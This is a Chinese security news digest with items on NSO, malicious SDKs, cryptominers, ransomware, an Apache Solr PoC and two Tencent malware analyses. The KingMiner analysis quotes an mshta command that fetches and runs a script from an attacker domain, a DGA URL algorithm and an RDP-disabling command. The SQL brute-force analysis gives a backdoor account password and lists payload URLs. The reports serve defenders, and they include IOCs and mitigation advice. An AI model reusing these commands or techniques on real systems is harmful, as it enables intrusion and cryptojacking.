安全快讯Top News

因个人账户被封 以色列网络监控公司 NSO 的员工起诉 Facebook

据路透社报道,以色列网络监控公司NSO Group的一群员工周二对Facebook提起诉讼,称这家社交媒体巨头在上个月起诉NSO时不公平地删除了其个人帐户。Facebook旗下的消息服务WhatsApp上个月在一起法律诉讼中指控NSO,称这家公司帮助政府间谍窃取了1400名Facebook用户信息,其攻击目标包括外交官、政治异议人士、记者和政府高级官员等。 NSO员工表示,他们的Facebook和Instagram帐户以及此前的员工和家庭成员的帐户已被封。他们向特拉维夫地方法院请愿,要求Facebook解封这些帐户,他们声称这是突然发生的,在此之前并未收到通知。 Facebook在一份声明中表示,在将“复杂的网络攻击”归因于NSO Group及其员工之后,其已禁用了“相关帐户”。该公司表示,出于安全考虑,继续这些行动“是必要的,包括防止其他攻击。”该公司补充说,它已通过上诉程序重新启用了一些帐户。 NSO员工在声明中表示,由于Facebook针对NSO进行的法律程序,Facebook选择关闭个人帐户而施加了“集体惩罚”。他们还表示,他们的诉讼是在他们多次向Facebook提出要求而未得到答复之后才提出的。 声明指出:“关闭我们的个人帐户是Facebook的一种伤害性且不公正的举动。搜索和使用个人数据的想法对我们非常困扰”。这些员工表示,他们将继续“通过我们正在开发的技术,帮助世界各国政府预防犯罪和恐怖主义”。 WhatsApp指责NSO促进了20个国家/地区的政府黑客行为。唯一确定的国家是墨西哥,阿联酋和巴林。NSO则否认了这些指控。 周一在特拉维夫举行的一次技术会议上,NSO总裁Shiri Dolev为该公司辩护,称NSO技术使整个世界更加安全。Dolev还表示,她希望NSO可以公开谈论其在帮助执法机构抓捕恐怖分子方面所发挥的作用。 她表示:“恐怖分子和罪犯每天都在使用社交平台和应用程序……”Dolev补充说,NSO不会将该技术用于入侵手机。她表示:“我们开发了专门卖给政府情报机构的技术。”   (稿源:cnBeta,封面源自网络。)

恶意 SDK 收集 Facebook 和 Twitter 用户个人数据

据Facebook和Twitter透露,一些第三方应用未经用户同意便获取了用户的个人信息。 这些第三方iOS和Android应用程序使用了恶意SDK。SDK被用来展示广告,不过专家们注意到,一旦使用这些应用程序将社交网络的用户登录到任一服务中,SDK就会静默访问其个人资料并收集信息,包括用户名,电子邮件地址和推文。 这些恶意SDK是由营销公司OneAudience开发的。推特已经将这个消息告知其用户。 “我们最近收到了一份有关由恶意SDK的报告。 这个问题不是由于Twitter软件中的漏洞所致,而是由于应用程序内的SDK之间缺乏隔离性。我们的安全团队已经确定,可以嵌入到移动应用程序中的恶意SDK可能会利用移动生态系统中的漏洞访问并获取个人信息(电子邮件,用户名,最新一条推文)。 ” 即使专家没有发现证据表明恶意SDK会被用来控制Twitter帐户,他们仍然没有排除黑客可能使用SDK进行攻击的可能性。 Twitter知道恶意SDK已经通过Android设备访问某些Twitter帐户的个人数据,但iOS设备还没有出现过类似的事件。 Twitter向Google和Apple以及其他同行报告了此事件,并呼吁采取相对应的措施来阻止包含其代码的恶意SDK和应用。 Facebook发现了两个具有类似目的SDK,它们分别是One Audience和Mobiburn。 据称,恶意SDK收集了个人资料信息,包括姓名,性别和电子邮件地址。 Facebook发言人告诉 The Register: “安全研究人员最近向我们通报了One Audience和Mobiburn,他们收买开发人员,以在应用中使用恶意SDK。” “经过调查后,我们根据违反平台政策的原因将其应用程序从平台上删除,并向One Audience和Mobiburn发出了终止信函。如果用户的操作可能使他们的身份信息遭到泄露,我们将提示他们保护好自己的姓名,邮箱和性别等信息。我们希望用户在允许第三方应用程序访问其社交媒体帐户时保持谨慎。” oneAudience没有对此事件发表评论,但与此同时MobiBurn发表声明,否认其正在收集Facebook数据,并宣布对使用其SDK的第三方应用程序展开调查。 “MobiBurn没有收集,共享或分享来自Facebook的数据获利。 MobiBurn主要通过捆绑销售来充当数据业务的中介,例如捆绑第三方开发的SDK。 MobiBurn 无权访问移动应用程序开发人员收集的任何数据,也不处理或存储此类数据。 我们仅向移动应用程序开发人员介绍数据运营公司。不过MobiBurn目前已经停止了所有活动,直到我们结束对第三方的调查。”   消息来源:SecurityAffairs, 译者:r4938n,校审:吴烦恼 本文由 HackerNews.cc 翻译整理,封面来源于网络。 转载请注明“转自 HackerNews.cc ” 并附上原文链接

微软披露恶意挖矿软件 Dexphot 完整信息:全球已有 8 万台设备受感染

微软安全工程团队今天披露了新型恶意程序Dexphot的完整信息,它主要劫持感染设备的资源来挖掘加密货币,并为攻击者牟利。微软表示自2018年10月以来不断有Windows设备受到感染,并在今年6月中旬达到峰值达到80000多台,微软通过部署相关策略以提高检测率和阻止攻击,随后每天感染的设备数量缓慢下降。 虽然Dexphot的最终目的就是利用受害者设备资源来挖掘加密货币,但是该恶意软件的复杂性非常高,其作案手法和技术也非常特别。微软Defender ATP研究团队的恶意软件分析师Hazel Kim说:“ Dexphot不是引起主流媒体关注的攻击类型。”他指的是恶意软件主要是为了挖掘加密货币的,而不是窃取用户数据。 Kim继续说道:“这是在任何特定时间都活跃的无数恶意软件活动之一。它的目标是在网络犯罪分子中非常普遍,就是安装一个窃取计算机资源的程序,通过挖矿为攻击者创造收入。然而,Dexphot是采用了远超日常威胁的复杂程度和发展速度,主要是为了绕开各种安全软件的保护非法牟利。” 在与ZDNet共享的一份报告中,Kim详细介绍了Dexphot的高级技术,例如,使用无文件执行,多态技术以及智能和冗余启动持久性机制。根据Microsoft的说法,Dexphot被安全研究人员称之为“第二阶段有效负载”,这是一种已经投放到已经被其他恶意软件感染的系统上的恶意软件。   (稿源:cnBeta,封面源自网络。)

针对 SQL 弱口令的爆破攻击再度袭来,KingMiner 矿工已控制上万台设备

感谢腾讯御见威胁情报中心来稿! 原文:https://mp.weixin.qq.com/s/ZothuAaH-r1xH6HFUbz–A   一、背景 腾讯安全御见威胁情报中心检测到KingMiner变种攻击,KingMiner是一种针对Windows服务器MS SQL进行爆破攻击的门罗币挖矿木马。该木马最早于2018年6月中旬首次出现,并在随后迅速发布了两个改进版本。攻击者采用了多种逃避技术来绕过虚拟机环境和安全检测,导致一些反病毒引擎无法准确检测。 当前版本KingMiner具有以下特点: 1.针对MSSQL进行爆破攻击入侵; 2.利用WMI定时器和Windows计划任务进行持久化攻击; 3.关闭存在CVE-2019-0708漏洞机器上RDP服务,防止其他挖矿团伙入侵,以独占服务器资源挖矿; 4.使用base64和特定编码的XML、TXT、PNG文件来加密木马程序; 5.利用微软和多个知名厂商的签名文件作为父进程,“白+黑”启动木马DLL。 根据腾讯安全御见威胁情报中心统计数据,KingMiner影响超过一万台电脑,其中受影响最严重的地区为广东、重庆、北京、上海等地。 二、详细分析 KingMiner在MS SQL爆破入侵成功后,首先执行一段VBS脚本(tl.txt/vk.txt),检测操作系统版本,并根据不同的系统版本下载不同的Payload文件,利用下载的文件进行提权以及门罗币挖矿。同时还会安装WMI定时器和Windows计划任务来反复执行指定脚本,执行服务器返回的恶意代码达到持久化攻击的目的。 KingMiner变种攻击流程 提权 vk.txt从http[:]// w.30713fdae.tk/32tl.zip下载经过base64编码的二进制blob文件,经过解码后保存为C:\Users\Public\Downloads\<random>\tool.exe tool.exe利用Windows权限提升漏洞CVE-2019-0803进行攻击,成功利用此漏洞的攻击者可以在内核模式下运行任意代码,然后可以安装程序;查看、更改或删除数据;或创建具有完全用户权限的新帐户。 tool.exe在特权模式下执行命令 mshta.exe vbscript:GetObject(\"script:http[:]//aa.30583fdae.tk/r1.txt\")(window.close) 通过mshta.exe执行脚本r1.txt来进行持久化。 持久化 计时器(每15分钟执行一次VBS脚本) r1.txt配置名为WindowsSystemUpdate _WMITimer的计时器,并将执行一段脚本代码的事件消费者WindowsSystemUpdate_consumer通过事件过滤器WindowsSystemUpdate_filter绑定到计时器,从而通过计时器每15分钟执行一次下面的VBS脚本代码: 这段VBS代码根据不同情况采取两种方法生成URL,接着通过访问生成的URL下载第二阶段的Payload运行。 1.URL由IP地址转化为ASCII后拼接而成 脚本运行nslookup命令查询C&C域名news.g23thr.com的DNS记录,当news.g23thr.com解析的IP地址为xxx.xxx.xxx.120,则访问URL “http://”+chr(xxx)+chr(xxx)+chr(xxx)+”xfghh.com/mgxbox.txt” 2.URL由与时间相关的DGA域名拼接而成 当查询DNS返回IP不符合指定格式,则DGA域名通过当前时间的年、月、日、分钟、秒数值计算得到,算法如下: u =(hex((year(now())-2000)&Month(now())&(day(now())\7)&(year(now())-2000)))&"fdae.tk"url = "http://"&minute(now())&second(now())&"."&u&"/mgxbox.txt" 计划任务 r1.txt通过RegisterTaskDefinition创建名为WindowsMonitor的计划任务,每15分钟执行一次如下脚本;或者安装触发条件为系统启动的计划任务WindowsHelper,并在WindowsHelper触发后再次安装WindowsMonitor定时任务执行同一段脚本: 计划任务最终执行的脚本如下: 计划任务执行的VBS脚本与WMITimer执行的脚本类似,通过DNS查询返回的数据,或者获取时间转换后生成的DGA域名拼接URL,执行访问URL后返回的代码。 url=“http://”+chr(xxx)+chr(xxx)+chr(xxx)+”xfghh.com/pow.txt” 或者 u =(hex((year(now())-2000)&Month(now())&(day(now())\7)&(year(now())-2000)))&"fdae.tk"url = "http://"&minute(now())&second(now())&"."&u&"/pow.txt" 当前访问url返回的代码如下: CreateObject("WScript.Shell").Run "cmd /c ver |findstr ""5.0 5.1 5.2 6.0 6.1""&&wmic qfe GET hotfixid |findstr /i ""kb4499175 kb4500331 KB4499149 KB4499180 KB4499164""||wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0",0,False 返回代码的功能为: 获取计算机版本,并判断计算机版本是否受CVE-2019-0708漏洞的影响,且计算机是否安装特定补丁(kb4499175、kb4500331、KB4499149、KB4499180、KB4499164为微软发布的CVE-2019-0708远程桌面服务远程代码执行漏洞的补丁号)。 如果没有安装补丁,则修改设置禁止其他机器通过远程桌面服务访问本机,通过这种方式来阻止其他木马进入系统,从而达到独占挖矿资源的目的。 挖矿 vbs脚本tl.txt从http[:]// w.30713fdae.tk/32a1.zip下载经过base64编码的二进制blob文件。 文件解码并解压后保存至C:\Users\Public\Downloads\<random>\目录下,其中<random>为取当前时间“年月日时分秒”格式生成的字符。 alger.exe为微软系统文件credwiz.exed,功能描述为Credential Backup and Restore Wizard(凭据备份和还原向导),该程序在启动后自动加载系统DLL文件duer.dll并调用其导出函数InitGadgets()。 除了微软系统文件外,KingMiner在挖矿木马的“白+黑”启动过程中还利用了多个知名公司的含数字签名的文件来逃避杀软检测,利用正常的有数字签名的白文件来调用恶意dll。 目前发现的包括以下数字签名的文件被利用: “GuangZhou KuGou Computer Technology Co.,Ltd.” “Google Inc” “福建创意嘉和软件有限公司” 32a1.zip/64a1.zip解压后在同一目录下释放受信任的系统文件alger.exe(credwiz.exed)和恶意的duer.dll,利用alger.exe加载duer.dll并调用其导出的InitGadgets(),从而在InitGadgets()中解密保存在同目录下的x.txt或x/y/z.png中的XMRig挖矿程序代码,并启动门罗币挖矿过程。 三、安全建议 我们建议企业针对KingMiner挖矿木马的技术特点采取针对性的防御措施: 1.根据微软官方公告修复特权提升漏洞CVE-2019-0803: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0803 2、加固SQL Server服务器,修补服务器安全漏洞。使用安全的密码策略,使用高强度密码,切勿继续使用弱口令,特别是sa账号密码,防止黑客暴力破解。 3、修改SQL Sever服务默认端口,在原始配置基础上更改默认1433端口设置,并且设置访问规则,拒绝1433端口探测。 4、企业用户可在服务器部署腾讯御点终端安全管理系统,从而防范此类攻击。 5、推荐企业使用腾讯御界高级威胁检测系统检测未知黑客的各种可疑攻击行为。御界高级威胁检测系统,是基于腾讯反病毒实验室的安全能力、依托腾讯在云和端的海量数据,研发出的独特威胁情报和恶意检测模型系统。(https://s.tencent.com/product/gjwxjc/index.html) 腾讯御界检测到针对SQL服务器的爆破攻击 IOCs @KingMiner IP 107.154.161.209 107.154.158.39 Domain q.112adfdae.tk q.30583fdae.tk aa.30583fdae.tk w.30713fdae.tk a.1b051fdae.tk news.g23thr.com a.qwerr.ga w.ddff1.tk Md5 duser.dll 20e502ff977b336d9e7785186b16c68a 78b56b92c2e7a42520fb99a84d78cf92 active_desktop_render_x64.dll 21048ff02894656b5b24d4ed3c8a2882 goopdate.dll 7def058c5d2acb660f394d04b4698580 soundbox.dll 88a5c4645c2a9d0481fd0a846e49b773 64tl.zip be45959bc043a4fe88351cd03289f240 64a1.zip 4d910cb71c2f55bde48521f7ae062da4 32a1.zip 465373b74d163028add70f0d2b0966d0 23ef4da80f6985a78c4a59467ac4612f 32tl.zip e09947875b4722aab067c4d0c4b30384 r1.txt 21cb01553d92bee4fefc0069db1fd5ea c568d6028735cdc2a1ddd3c01f14ca80 tl.txt b0ab674b842822358be8cd5f6dc91554 vk.txt e3accf5a6f58932e56192bfbcbf0804c c874dbb6bf3664990b57d07d7d220ee6 n.txt 2b702a22963448c164db26807a308d50 pow.txt/mgxbox.txt 03d24675d4de12bcd076e7eff213a8a4 htak.txt 5fd47b2be01004e41290bf7658c7ad5a tool.exe 4899762134c0d2d8fbbaecc289a0c74e URL http[:]//4056.309cffdae.tk/vk.txt http[:]//3023.309cffdae.tk/vk.txt http[:]//5311.1d28ebfdae.com/pow.txt http[:]//3843.1d28ebfdae.com/pow.txt http[:]//5921.1d28ebfdae.com/mgxbox.txt http[:]//ww33.3096bfdae.com/32a1.cab http[:]//ww33.3096bfdae.com/64a1.cab http[:]//a.qwerr.ga/32a.zip http[:]//a.qwerr.ga/64f.zip http[:]//aa.30583fdae.tk/r1.txt http[:]//aa.30583fdae.tk/tl.txt http[:]//aa.30583fdae.tk/r1.txt http[:]//q.30583fdae.tk/32tl.zip http[:]//q.30583fdae.tk/64tl.zip http[:]//q.30583fdae.tk/64a1.zip http[:]//q.30583fdae.tk/32a1.zip http[:]//w.30713fdae.tk/vyk.txt http[:]//w.30713fdae.tk/64a1.zip http[:]//w.30713fdae.tk/32a1.zip http[:]//w.ddff1.tk/32a1.zip http[:]//w.ddff1.tk/64a1.zip 矿池: 95.179.131.54:9761 w.homewrt.com:9761 钱包: 49EHNacRauzgz8cGouhrVChcLyF3XrGLAdWiczJxY1qpX3oed4cGgMUUHHhyR7taGJ1MtvpfJiDf9gugAko4MzXM9DRYzZ1 参考链接: https://research.checkpoint.com/2018/kingminer-the-new-and-improved-cryptojacker/

美国加州车管部门通过出售私人数据每年赚取 5000 万美元

我们曾经听说过大型科技公司通过出售私人数据赚钱,但美国全国各地的汽车管理部门也在通过这种做法赚钱,其中包括加利福尼亚的汽车管理部门,该部门每年通过出售驾驶员个人信息获得5000万美元的收入。 公共记录法案已经记录了有多少公司向加利福尼亚汽车管理部门支付数据费用。在2017/2018财政年度,这一数字为52,048,236美元,而2013/2014财年为41,562,735美元。这些数据信息包括驾驶者姓名,实际地址和汽车注册信息。 虽然该文件没有具体说明哪些公司要求提供这些信息,但其中包括数据经纪商和信贷机构。一些汽车管理部门还向私人调查员出售了信息,在某些情况下,他们被雇用来寻找配偶是否出轨。 加州汽车管理部门表示,数据请求者还可能包括保险公司,车辆制造商和准雇主,而赚取的金钱用于公共和高速公路安全,包括提供保险,风险评估,车辆安全召回,交通研究,排放研究,背景调查等等。   (稿源:cnBeta,封面源自网络。)

勒索软件渗透纽约警察局的指纹数据库 导致系统关闭

据外媒Softpedia报道,在一个承包商连接到网络以配置数字显示器后,勒索软件感染了运行纽约警察局(NYPD)指纹数据库的计算机。该事件发生在2018年10月,导致NYPD在总共23台计算机上发现感染后,关闭了LiveScan指纹跟踪系统。但是,该部门官员声称该感染“从未执行”,这意味着勒索软件没有造成任何损害,但是NYPD出于谨慎考虑而决定使该系统关闭。 NYPD官员在接受《纽约邮报》采访时表示,该软件已重新安装在200台计算机上,并且指纹数据库于第二天早上恢复上线。NYPD负责信息技术的副局长Jessica Tisch表示:“我们想深入了解这一点。对于我们来说,深入了解这一点真的很重要。到周六清晨—我记得它仍然尚未恢复—我们正在使系统上线。” 勒索软件通常会锁定文件的访问权限,直到受害者支付解密密钥的费用为止。当承包商插入他们用来配置数字显示器的NUC微型PC时,该勒索软件便感染了NYPD网络。NYPD表示,他们确实对此事件对承包商提出了质疑,但未给予任何处罚。 此外,NYPD声称其网络中只有约0.1%的计算机受到了影响,而没有任何文件被锁定。该机构尚未共享有关感染背后的黑客团体,勒索软件和操作被感染设备的承包商的详细信息。 然而尽管NYPD已经避免了一场网络噩梦,但该部门网络中潜在的勒索软件感染可能会带来灾难性的影响。NYPD数据库还连接到更大的州级别自动指纹识别系统,该系统拥有大约700万个文件,如果被勒索软件感染可能会被锁定,并且在恢复之前可能将使系统连续数天保持脱机状态。   (稿源:cnBeta,封面源自网络。)

Apache Solr RCE 漏洞的 PoC 利用代码在线曝光

Apache Solr 这次遇到的漏洞比想象的要危险得多。 Apache Solr 是一个用Java编写的高度可靠,可扩展且容错的开源搜索引擎,可提供分布式索引,复制和负载平衡查询,自动故障转移和恢复,集中式配置等。 安全公告称,此问题最初被命名为“solr.in.sh 含有未注释行”,并告诉用户检查其  solr.in.sh 文件。后来由于远程执行代码的风险,他们升级了此漏洞并取得了CVE编号。 该漏洞影响 Apache Solr 在 Linux 系统上的8.1.1和8.2.0版本(不影响Windows),这些版本的 sol.in.sh 文件中的 ENABLE_REMOTE_JMX_OPTS 配置不安全。 发现该漏洞时,由于专家认为攻击者只能利用该漏洞访问Solr监视数据,所以 Apache Solr 团队没有意识到它的严重性。 10月30日,用户“ s00py ” 在GitHub上发布了漏洞利用代码,使得黑客可以远程执行代码。为了使用Apache Velocity 模板,漏洞利用代码使用了暴露的 8983 端口 ,并利用该模板来上传和运行恶意代码。 两天后,用户“ jas502n ”发布了第二个PoC代码  ,凭借此代码,黑客可以轻松利用该漏洞。 这两个PoC迫使Solr团队于11月15日更新安全公告,漏洞CVE为 CVE-2019-12409。   专家们目前还没有探测到在野利用攻击,不过他们认为这只是时间问题。   消息来源:SecurityAffairs, 译者:r4938n,校审:吴烦恼 本文由 HackerNews.cc 翻译整理,封面来源于网络。 转载请注明“转自 HackerNews.cc ” 并附上原文链接

iOS 13 最初版本漏洞百出,于是iOS 14 测试流程变了

网易科技讯 11月23日消息,据国外媒体报道,据知情人士透露,在最新版的iPhone和iPad操作系统接连出现一大堆漏洞之后,苹果公司正在改革其软件测试方式。 在与公司软件开发人员举行的最近一次内部“启动”会议上,苹果软件主管克雷格·费德里吉(Craig Federighi)和斯泰西·利希克(Stacey Lysik)等副手们宣布了软件测试方面的变化。新方法要求苹果开发团队确保未来软件更新的测试版,也就是所谓的“每日构建(Daily build)”,在默认情况下禁用未完成或有缺陷的所有功能。然后,测试人员可以通过一个称为Flags的全新内部流程和设置菜单有选择地启用这些特性或功能,从而能够将每个单独添加特性会对系统产生何种影响相互隔离开来。 今年9月,当苹果公司的iOS 13操作系统与iPhone 11系列智能手机同时发布时,iPhone用户和应用程序开发者发现了一连串的软件故障:应用程序崩溃或启动缓慢;手机信号参差不齐;应用程序出现了用户界面错误,比如消息、系统搜索都出现问题,电子邮件也存在加载问题。而通过iCloud共享文件夹以及将音乐流媒体传输到多组AirPods上等新功能要么被推迟,要么仍未实现。毫不客气的说,这次操作系统升级是是苹果历史上最麻烦、最粗糙的。 “iOS 13在继续摧毁我的士气,”知名开发者马尔科·阿蒙德(Marco Arment)在Twitter上写道。“我也是,”购物清单应用AnyList联合创始人杰森·马尔(Jason Marr)说,“在iOS 13上,苹果的表现的确是对开发者和用户的不尊重。” 这些问题表明,iPhone已经变得有多复杂,而且用户很容易对一家以软硬件顺畅整合而著称的公司感到失望。对苹果公司来说,每年跟随最新款iPhone定时发布软件更新,是增加系统新功能、防止用户转向主要竞争对手Android的关键途径。更新后的操作系统还为开发者提供了更多的应用程序开发工具,从而为苹果的应用商店带来了更多收入。 苹果发言人特鲁迪·穆勒(Trudy Muller)拒绝置评。 新的开发过程将有助于提高早期内部iOS操作系统版本的可用性,或者用苹果的话说,(不同功能)更加“易于相处”。在iOS 14开发之前,有些团队每天都会添加一些还没有经过充分测试的功能,而其他团队则每周都会对现有功能进行修改。“每天的开发过程就像一整份食谱,但很多厨师都在添加配料,”一位了解开发过程的人士表示。 测试软件在开发不同阶段的变化是如此之多,以至于这些设备常常变得难以运行。由于这个原因,一些“测试人员会在一团糟的情况下将系统跑上几天,所以他们根本不会真正清楚哪些功能会对系统产生何种作用。”该人士说。在这种情况下,由于苹果工程师很难测试出操作系统对许多新添加功能的反应,从而导致iOS 13频频出现某些问题,因此也无法达到测试目标。 苹果公司内部测试是所谓的“白手套”测试,用1到100的等级来衡量和排名其软件整体质量。有问题的软件版本得分可能在60分左右,而更稳定的软件可能在80分以上。iOS 13的得分低于之前更完善的iOS 12操作系统。在开发过程中,苹果团队还为软件产品的功能特性分别设置了绿色、黄色和红色的代码,以显示这种功能特性在开发过程中的质量。相应的优先级从0到5,其中0是关键问题,5是次要问题,用于确定单个软件错误的严重性。 新策略已经被应用到代号为“Azul”的iOS 14系统开发中,该系统将于明年发布。苹果还考虑将iOS 14的一些功能推迟到2021年发布,在公司内部这一更新被称为“Azul +1”,也可能会以iOS 15公开发布,这也让公司有更多时间关注操作系统性能。不过,熟悉苹果计划的人士表示,预计iOS 14在新功能的广度上将与iOS 13不相上下。 测试策略的转移将适用于所有苹果的操作系统,包括iPadOS、watchOS、macOS和tvOS。最新的Mac电脑操作系统macOS Catalina也出现了一些问题,比如与许多应用程序不兼容,邮件中缺少信息。一些运行基于iOS操作系统的HomePod音箱在最近一次iOS 13更新后无法工作,导致苹果暂时停止升级。另一方面,最新的苹果电视和苹果手表系统更新则相对顺利。 苹果公司的高管们希望,从长远来看,全面改革后的测试方法将提高公司软件质量。但这并不是苹果工程师第一次听到管理层这么说。 去年,苹果曾推迟了iOS 12的几项功能发布,其中包括对CarPlay和iPad主屏幕的重新设计,专注于提高可靠性和整体性能。在2018年1月的一次全体会议上,费德里吉表示,公司对新功能的重视程度过高,应该优先向消费者提供他们想要的质量和稳定性。 随后,苹果成立了所谓的“老虎团队”来解决iOS特定部分的性能问题。该公司从整个软件部门调派工程师,专注于加快应用程序启动时间、改善网络连接和延长电池寿命等任务。当iOS 12操作系统于2018年秋季发布时,运行相当稳定,在头两个月内只进行了两次更新。 这种成功没有延续到今年的操作系统升级。iOS 13的最初版本漏洞百出,以至于苹果不得不匆忙发布了几个补丁。在iOS 13发布的头两个月里,已经进行了8次更新,是自2012年费德里吉接管苹果iOS软件工程部门以来最多的一次。该公司目前正在测试另一个新版本iOS 13.3,这本是要在明年春天进行的后续工作。 今年6月份苹果召开了2019年度全球开发者大会。大约在此一个月前,该公司的软件工程师就开始意识到,当时在公司内部被称为Yukon的iOS 13表现不如之前的版本。一些参与这个项目的人说系统开发是一个“烂摊子”。 今年8月,苹果工程师们意识到,几周后与新iPhone一起发布的iOS 13.0根本无法达到质量标准,于是决定放弃对其进行修补,专注于改进后续的第一次更新版本iOS 13.1。苹果私下里认为iOS 13.1是“真正的公开发布版本”,其质量水平与iOS 12相当。公司预计只有铁杆苹果粉丝才会在手机上安装iOS 13.0操作系统。 9月24日苹果发布了更新的iOS 13.1,这比既定时间提前了一周,也压缩了iOS 13.0作为苹果旗舰操作系统发布的时间。新iPhone与苹果软件紧密集成,因此从技术角度讲,不可能推出搭载iOS 12操作系统的iPhone 11系列智能手机。由于新款手机发布时iOS 13.1还没能及时准备好,苹果唯一的选择就是发布iOS 13.0,并尽快让所有人更新到iOS 13.1。 虽然iOS 13出现的问题确实让iPhone用户感到不安,但更新速度还是相当快。据苹果称,截至10月中旬,半数苹果设备用户都在运行iOS 13。这一升级速度仍远远领先于谷歌的Android。 iOS 13.1发布后,苹果的软件工程部门迅速转向iOS 13.2,其质量目标是优于iOS 12。这次更新后的抱怨比iOS 13操作系统的前几次更新都要少,但却仍有一个错误,系统会在不应该关闭的情况下关闭后台的应用程序。 苹果应用程序资深开发者史蒂夫·特劳顿-史密斯(Steve Troughton-Smith)在Twitter上写道:“iOS 13给人的感觉就像是一个超级混乱的版本,自iOS 8以来我们从未见过如此糟糕的情况。”   (稿源:网易科技,封面源自网络)

谷歌增加 Android 安全奖励计划奖金 最高将达 150 万美元

据外媒Neowin报道,谷歌的Android安全奖励计划(Android Security Rewards Program)自2015年开始实施,并已向发现移动操作系统漏洞的安全研究人员支付了数百万美元。如今,该公司正在扩大研究人员可获得的奖励,最引人注目的是一项新的奖励,其价值可能高达150万美元。 当然,这种奖励是针对特别具有挑战性的漏洞利用。谷歌表示将向研究人员支付100万美元,他们可以执行“具有持久性的全链远程代码执行漏洞,从而破坏Pixel设备上的Titan M安全元件”。Titan M芯片是在Pixel 3上首次引入的,根据来自Gartner的数据,该设备被认为具有比其他任何经过测试的设备更高的安全性。如果在Android的“特定开发人员预览版”上执行此漏洞,则赏金可以增加50%,这将使总奖励达到150万美元。 谷歌表示,在过去的12个月中,其总共支付了约150万美元的奖励,其中包括多项奖金。在此期间,最高的奖金达161337美元,参与研究的100多名研究人员的平均奖金是每个发现3800美元。 除了这一非常高的奖励等级之外,谷歌还推出了其他新等级,这些等级的奖励比以往更高。这些漏洞包括涉及数据泄露和锁屏绕过的漏洞利用,奖励最高可达到50万美元。   (稿源:cnBeta,封面源自网络)

​黑客爆破攻击Sql Server,已控制数百台企业服务器和网站

感谢腾讯御见威胁情报中心来稿! 原文:腾讯御见威胁情报中心 一、概述 SQL爆破、提权攻击已成攻击者惯用伎俩,但仍有部分企业网管使用弱口令导致服务器被黑客操控。近日,腾讯安全御见威胁情报中心发现一起针对SQL数据库的爆破攻击事件,攻击成功后会根据系统环境下发远控木马、植入Webshell、在目标服务器创建管理员用户。本次攻击的失陷服务器已达数百台之多,主要受害者位于陕西、山西、吉林等地。 该木马的攻击行动具有如下特点 木马针对普通windows服务器下发TeamView实施远程控制,监测数据显示该木马已控制数百台服务器; 针对web服务器,木马植入webshell,已知有40多家网站共植入300余个Webshell; 木马会获取中毒主机的一般信息,包括:IP地址、操作系统版本、用户名、CPU、内存、磁盘、安全软件等基本信息,并将这些信息发送到远程服务器; 入侵成功后,会开启服务器的RDP服务(远程桌面服务),且会创建多个具有管理员权限的内置账户,方便远程登录。 二、详细分析 攻击者在HFS上的工具列表 从HFS列表可以看出,该团伙主要通过Mssql&mysql爆破,3389爆破,攻击成功后再利用提权工具进行提权,以mssql爆破工具进行分析 Start.bat启动扫描任务,并根据扫描结果进行爆破 Dhls.exe根据ip.txt中的IP列表扫描主机是否开放sql相关端口,接着使用CSQL.exe尝试爆破,其中user.txt,pass.txt分别是用户名和密码,爆破成功的IP会输出到out.txt中,接着CSQL中会对out.txt中机器进行远程命令执行,sql命令保存在2018.sql Sql命令结束杀软进程 向系统添加账户 SQLuser,sm$sm520 下载并执行team.exe 目前team.exe已经无法下载,无法得知里面具体功能,从攻击者的文件服务器上看,攻击者在爆破成功后会下发TeamView远程控制工具或webshell:hxxp://124.16.146.185:9000/tv.exe,并通过TVGET.exe程序获取到TeamView的用户ID和密码: 如果是web服务器,则会下发Webshell到c:/1.php,c:/1.asp,c:/1.aspx Webshell经过简单加密混淆,base64及字符压缩 解密后联网下载404.gif 404.gif中是一段被加密shell,通过gzinflate&base64_decode解密后可以得到一个完整的反弹木马。 首先会添加一个账户envl到系统中,方便后续远程登录 反弹链接的C2从cookie中获取反弹链接的C2从cookie中获取 在shell中也包含了用于执行mysql语句的shell 木马可对服务器web页面进行批量挂马 木马功能 目前腾讯安全御见威胁情报中心已监测到有40多家网站,300多个页面被植入该后门。 三、关联分析 追溯攻击中使用的webshell来自webshell8.com,号称免杀主流web护盾。 Webshell的界面 在攻击者发现HFS服务器被盯上后,竟在服务器上放置联系方式。 四、解决方案   加固SQL Server服务器,修补服务器安全漏洞。使用安全的密码策略,使用高强度密码,切勿使用弱口令,特别是sa账号密码,防止黑客暴力破解。 修改SQL Sever服务默认端口,在原始配置基础上更改默认1433端口设置,并且设置访问规则,拒绝1433端口探测。 企业用户可在服务器部署腾讯御点终端及时对服务器打补丁,防止这类木马利用windows提权漏洞,从而防范此类攻击。 推荐企业使用腾讯御界高级威胁检测系统检测未知黑客的各种可疑攻击行为。御界高级威胁检测系统,是基于腾讯反病毒实验室的安全能力、依托腾讯在云和端的海量数据,研发出的独特威胁情报和恶意检测模型系统。(https://s.tencent.com/product/gjwxjc/index.html)   腾讯御界检测到服务器遭遇爆破攻击 IOCs IP 124.218.92.68:9000 124.16.146.185:9000 123.15.33.19:9000 Domain phpapi.info tanlini.3322.org MD5 f1c4842de714e7480e69f41540c3626b e7c182ece6eceb6f89d6bd9a6d33c53e 5c0249cce6e5c500a54aa34ba2b8c282 c8a689d353b10ca90e88f3f7b4afa25f 78ff58ad4fe3c40e6f6945a2b0c79f36 a7419cf9e40501cfb2762623c5277857 f1f22dc294694ba7a727ea991f88c3a1 URL hxxp://phpapi.info/404.gif hxxp://123.15.33.19:9000/team.exe hxxp://124.16.146.185:9000/CVE2018.exe hxxp://124.16.146.185:9000/CVE-2018-8120.exe hxxp://124.16.146.185:9000/freeSSHd.exe hxxp://124.16.146.185:9000/go.bat hxxp://124.16.146.185:9000/HAdmin.exe hxxp://124.16.146.185:9000/K8UA.asxp hxxp://124.16.146.185:9000/lcx.exe hxxp://124.16.146.185:9000/mima.ps1 hxxp://124.16.146.185:9000/mimidrv.sys hxxp://124.16.146.185:9000/mimikatz.exe hxxp://124.16.146.185:9000/mimikatz_trunk.zip hxxp://124.16.146.185:9000/mimilib.dll hxxp://124.16.146.185:9000/nc.exe hxxp://124.16.146.185:9000/she.aspx hxxp://124.16.146.185:9000/she.php hxxp://124.16.146.185:9000/shell.asp hxxp://124.16.146.185:9000/task.exe hxxp://124.16.146.185:9000/tcp.exe hxxp://124.16.146.185:9000/team.exe hxxp://124.16.146.185:9000/TV_pweg.exe hxxp://124.16.146.185:9000/TVGET.exe hxxp://124.16.146.185:9000/TVs.exe 